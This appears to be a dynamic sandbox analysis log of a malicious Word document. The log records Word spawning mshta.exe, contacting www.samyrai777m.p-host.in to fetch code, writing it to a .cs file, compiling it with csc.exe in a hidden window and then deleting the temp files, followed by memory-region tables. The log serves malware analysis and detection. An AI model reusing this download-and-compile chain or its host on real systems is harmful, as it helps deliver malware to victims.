Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\COM+ SOAP Services False 1
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop\http100www4samyrai777m4p-host4in0t0tp4php2thread90.dll, type = file_attributes False 1
Fn
Process Create process_name = C:\Windows\System32\mshta.exe, show_window = SW_SHOWNORMAL True 1
Fn
System Get Info type = System Directory, result_out = C:\Windows\system32 True 1
Fn
File Get Info filename = C:\Windows\system32\com\SOAPAssembly\, type = file_attributes False 1
Fn
File Get Info filename = C:\Windows\system32\com\SOAPAssembly, type = file_attributes False 1
Fn
File Get Info filename = C:\Windows\system32\com, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\system32, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows, type = file_attributes True 1
Fn
File Create Directory C:\Windows\system32\com\SOAPAssembly False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\COM+ SOAP Services False 1
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop\http100www4samyrai777m4p-host4in0t0tp4php2thread90.dll, type = file_attributes True 1
Fn
Process Create process_name = C:\Windows\System32\mshta.exe, show_window = SW_SHOWNORMAL True 1
Fn
System Get Info type = System Directory, result_out = C:\Windows\system32 True 1
Fn
File Get Info filename = C:\Windows\system32\com\SOAPAssembly\, type = file_attributes False 1
Fn
File Get Info filename = C:\Windows\system32\com\SOAPAssembly, type = file_attributes False 1
Fn
File Get Info filename = C:\Windows\system32\com, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\system32, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows, type = file_attributes True 1
Fn
File Create Directory C:\Windows\system32\com\SOAPAssembly False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\COM+ SOAP Services False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\COM+ SOAP Services False 1
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop\http100www4samyrai777m4p-host4in0t0tp4php2thread90.dll, type = file_attributes True 1
Fn
Process Create process_name = C:\Windows\System32\mshta.exe, show_window = SW_SHOWNORMAL True 1
Fn
Thread 0xb60
(Host: 113, Network: 20)
+
Category Operation Information Success Count Logfile
Module Get Filename process_name = c:\program files\microsoft office\root\office16\winword.exe, file_name_orig = C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE, size = 260 True 1
Fn
System Get Info type = Operating System False 1
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config, type = file_attributes True 2
Fn
File Create filename = C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config, type = file_type True 2
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config, type = size, size_out = 0 True 1
Fn
File Read filename = C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config, size = 4096, size_out = 4096 True 6
Fn
Data
File Read filename = C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config, size = 4096, size_out = 1459 True 1
Fn
Data
File Read filename = C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config, size = 4096, size_out = 0 True 1
Fn
Module Get Filename process_name = c:\program files\microsoft office\root\office16\winword.exe, file_name_orig = C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE, size = 260 True 1
Fn
File Get Info filename = C:\Program Files\Microsoft Office\root\Office16\WINWORD.config, type = file_attributes False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion, value_name = InstallationType, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion, value_name = InstallationType, data = Client, type = REG_SZ True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
System Get Computer Name result_out = YKYD69Q True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = Library, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = Library, data = netfxperf.dll, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = IsMultiInstance, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = IsMultiInstance, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = First Counter, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = First Counter, data = 4986, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = CategoryOptions, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = CategoryOptions, data = 3, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = FileMappingSize, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = FileMappingSize, data = 131072, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = Counter Names, type = REG_BINARY True 2
Fn
Data
Module Create Mapping filename = System Paging File, protection = PAGE_READWRITE, maximum_size = 131072 True 1
Fn
Module Map process_name = c:\program files\microsoft office\root\office16\winword.exe, desired_access = FILE_MAP_WRITE True 1
Fn
System Get Info type = Operating System False 2
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking False 1
Fn
Mutex Open mutex_name = Global\.net clr networking, desired_access = MUTEX_MODIFY_STATE, SYNCHRONIZE True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings True 1
Fn
Socket Create protocol = IPPROTO_TCP, address_family = AF_INET, type = SOCK_STREAM True 1
Fn
Socket Create protocol = IPPROTO_TCP, address_family = AF_INET6, type = SOCK_STREAM True 1
Fn
DNS Resolve Name host = www.samyrai777m.p-host.in, address_out = 185.211.244.133 True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Socket Connect remote_address = 185.211.244.133, remote_port = 80 True 1
Fn
Socket Close type = SOCK_STREAM True 1
Fn
Socket Send flags = NO_FLAG_SET, size = 92, size_out = 92 True 1
Fn
Data
Inet Open Session access_type = WINHTTP_ACCESS_TYPE_NO_PROXY, proxy_name = WINHTTP_NO_PROXY_NAME, proxy_bypass = WINHTTP_NO_PROXY_BYPASS True 1
Fn
Inet Open Connection protocol = http, server_name = www.samyrai777m.p-host.in, server_port = 80 True 1
Fn
Inet Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /t/tp.php?thread=0 True 1
Fn
Inet Send HTTP Request headers = host: www.samyrai777m.p-host.in, connection: Keep-Alive, url = www.samyrai777m.p-host.in/t/tp.php?thread=0 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 4096, size_out = 1240 True 1
Fn
Data
Inet Read Response size = 4096, size_out = 1240 True 1
Fn
Data
File Create filename = C:\Users\aETAdzjz\Desktop\Logo.cs, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop\Logo.cs, type = file_type True 2
Fn
File Write filename = C:\Users\aETAdzjz\Desktop\Logo.cs, size = 1098 True 1
Fn
Data
File Create filename = C:\Users\aETAdzjz\Desktop\Logo.cs, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop\Logo.cs, type = file_type True 2
Fn
File Read filename = C:\Users\aETAdzjz\Desktop\Logo.cs, size = 4096, size_out = 1098 True 1
Fn
Data
File Read filename = C:\Users\aETAdzjz\Desktop\Logo.cs, size = 950, size_out = 0 True 1
Fn
File Read filename = C:\Users\aETAdzjz\Desktop\Logo.cs, size = 4096, size_out = 0 True 1
Fn
System Get Info type = Operating System False 1
Fn
File Create filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.tmp, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.tmp, type = file_type True 2
Fn
File Create filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.0.cs, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.0.cs, type = file_type True 2
Fn
File Write filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.0.cs, size = 1101 True 1
Fn
Data
File Create filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.cmdline, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.cmdline, type = file_type True 2
Fn
File Write filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.cmdline, size = 288 True 1
Fn
Data
File Get Info filename = C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe, type = file_attributes True 1
Fn
File Create filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.out, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.out, type = file_type True 2
Fn
File Create filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.err, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.err, type = file_type True 2
Fn
File Write filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.out, size = 379 True 1
Fn
Data
File Open filename = STD_INPUT_HANDLE True 1
Fn
Process Create process_name = "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.cmdline", os_pid = 0xba0, startup_flags = STARTF_USESHOWWINDOW, STARTF_USESTDHANDLES, show_window = SW_HIDE True 1
Fn
File Delete filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.pdb False 1
Fn
File Delete filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.out True 1
Fn
File Delete filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.tmp True 1
Fn
File Delete filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.0.cs True 1
Fn
File Delete filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.cmdline True 1
Fn
File Delete filename = C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.err True 1
Fn
File Delete filename = C:\Users\aETAdzjz\Desktop\__Sn.cs False 1
Fn
Process #2: csc.exe
(Host: 2, Network: 0)
+
Information Value
ID #2
File Name c:\windows\microsoft.net\framework64\v2.0.50727\csc.exe
Command Line "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\aETAdzjz\AppData\Local\Temp\91rxrejg.cmdline"
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:01:00, Reason: Child Process
Unmonitor End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration 00:01:36
OS Process Information
+
Information Value
PID 0xba0
Parent PID 0x9b0 (c:\program files\microsoft office\root\office16\winword.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Groups
  • YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x BA4
0x 0
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x0012ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000130000 0x00130000 0x00133fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000140000 0x00140000 0x00140fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000150000 0x00150000 0x00151fff Private Memory Readable, Writable True True False
locale.nls 0x00160000 0x001c6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000001d0000 0x001d0000 0x001d0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000001e0000 0x001e0000 0x001e0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000001f0000 0x001f0000 0x001f0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000200000 0x00200000 0x00200fff Private Memory Readable, Writable True True False
private_0x0000000000210000 0x00210000 0x00210fff Private Memory Readable, Writable True True False
pagefile_0x0000000000220000 0x00220000 0x00220fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000230000 0x00230000 0x00236fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000240000 0x00240000 0x00241fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000250000 0x00250000 0x00250fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000260000 0x00260000 0x0035ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000360000 0x00360000 0x00360fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000370000 0x00370000 0x00370fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000380000 0x00380000 0x0038ffff Private Memory Readable, Writable True True False
cscompui.dll 0x00390000 0x003b2fff Memory Mapped File Readable True False False
  • Region Actions
pagefile_0x00000000003c0000 0x003c0000 0x003c0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000003d0000 0x003d0000 0x003d0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000003e0000 0x003e0000 0x003e0fff Pagefile Backed Memory Readable True False False
  • Region Actions
csc.exe 0x00400000 0x00418fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000000420000 0x00420000 0x00420fff Private Memory Readable, Writable True True False
private_0x0000000000430000 0x00430000 0x0052ffff Private Memory Readable, Writable True True False
system.runtime.remoting.dll 0x00530000 0x00579fff Memory Mapped File Readable True False False
  • Region Actions
private_0x00000000005e0000 0x005e0000 0x005effff Private Memory Readable, Writable True True False
pagefile_0x00000000005f0000 0x005f0000 0x00777fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000780000 0x00780000 0x00900fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000910000 0x00910000 0x01d0ffff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x01d10000 0x01fdefff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000001fe0000 0x01fe0000 0x023d2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000023e0000 0x023e0000 0x024dffff Private Memory Readable, Writable True True False
private_0x00000000025a0000 0x025a0000 0x025affff Private Memory Readable, Writable True True False
private_0x00000000025b0000 0x025b0000 0x026affff Private Memory Readable, Writable True True False
private_0x0000000002700000 0x02700000 0x0277ffff Private Memory Readable, Writable True True False
private_0x00000000027a0000 0x027a0000 0x0281ffff Private Memory Readable, Writable, Executable True True False
private_0x0000000002860000 0x02860000 0x028dffff Private Memory Readable, Writable, Executable True True False
private_0x0000000002980000 0x02980000 0x029fffff Private Memory Readable, Writable True True False
private_0x0000000002a00000 0x02a00000 0x02dfffff Private Memory Readable, Writable True True False
private_0x0000000002e00000 0x02e00000 0x02efffff Private Memory Readable, Writable True True False
private_0x0000000002f10000 0x02f10000 0x02f8ffff Private Memory Readable, Writable True True False
private_0x0000000002f90000 0x02f90000 0x0318ffff Private Memory - True True False
system.dll 0x03190000 0x0349afff Memory Mapped File Readable True False False
  • Region Actions
system.data.dll 0x034a0000 0x03793fff Memory Mapped File Readable True False False
  • Region Actions
system.xml.dll 0x037a0000 0x03993fff Memory Mapped File Readable True False False
  • Region Actions
